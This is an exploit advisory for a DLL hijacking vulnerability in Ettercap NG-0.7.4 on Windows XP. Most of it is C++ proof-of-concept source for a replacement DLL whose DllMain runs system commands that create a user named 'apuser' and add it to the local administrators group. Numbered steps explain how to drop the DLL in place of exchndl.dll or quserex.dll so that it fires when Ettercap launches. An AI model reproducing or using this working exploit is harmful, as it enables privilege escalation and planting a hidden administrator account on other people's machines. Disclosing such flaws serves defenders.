Ettercap NG 0.7.4 DLL Hijack

`Exploit Title: ettercap NG-0.7.4 Dll hijacking vulnerability (quserex.dll - exchndl.dll)  
Date: Tuesday April 24  
Author: nimaarek  
Software Link: http://sourceforge.net/projects/ettercap/files/unofficial binaries/windows/  
Version: NG-0.7.4  
Tested on: Windows XP SP3  
  
.__ __   
____ |__| _____ _____ _____ _______ ____ | | __  
/ \| |/ \\__ \ \__ \\_ __ \_/ __ \| |/ /  
| | \ | Y Y \/ __ \_/ __ \| | \/\ ___/| <   
|___| /__|__|_| (____ (____ /__| \___ >__|_ \  
\/ \/ \/ \/ \/ \/  
  
/*  
  
Application Information:  
Application: Ettercap.exe  
Version: NG-0.7.4  
Company Name: The EtterCap community, http://ettercap.sourceforge.net/  
File Date: Tuesday April 24  
Description: EtterCap sniffer  
Operating System: Windows XP SP3  
Total Extensions Verified: 2  
Verified Extensions: htm;html;  
  
=============================================================  
//tested on Windows XP SP3  
#include "stdafx.h"  
#include "windows.h"  
#include <cstdlib>  
  
int main()  
{  
system("net user apuser appass /add");  
system("net localgroup administrators apuser /add");  
exit(0);  
return 0;  
}  
  
  
BOOL APIENTRY DllMain( HMODULE hModule,  
DWORD ul_reason_for_call,  
LPVOID lpReserved  
)  
{  
switch (ul_reason_for_call)  
{  
case DLL_PROCESS_ATTACH:  
main();  
case DLL_THREAD_ATTACH:  
case DLL_THREAD_DETACH:  
case DLL_PROCESS_DETACH:  
break;  
}  
  
return TRUE;  
}  
=============================================================  
  
Instructions:  
  
1. Compile dll  
2. Replace exchndl.dll Or quserex.dll in Ettercap directory with your newly compiled dll  
3. Launch Ettercap  
4. Bo0o0o0o0o0o0o0m !  
  
  
Greet to my Lovely friends :   
+-+-+-+-+-+-+-+-+-+-+ +-+-+-+ +-+-+-+-+ +-+-+-+-+-+-+  
|M|O|H|3|N|C|O|D|E|r| |a|n|d| |A|m|i|r| |N|e|m|a|t|i|  
+-+-+-+-+-+-+-+-+-+-+ +-+-+-+ +-+-+-+-+ +-+-+-+-+-+-+  
`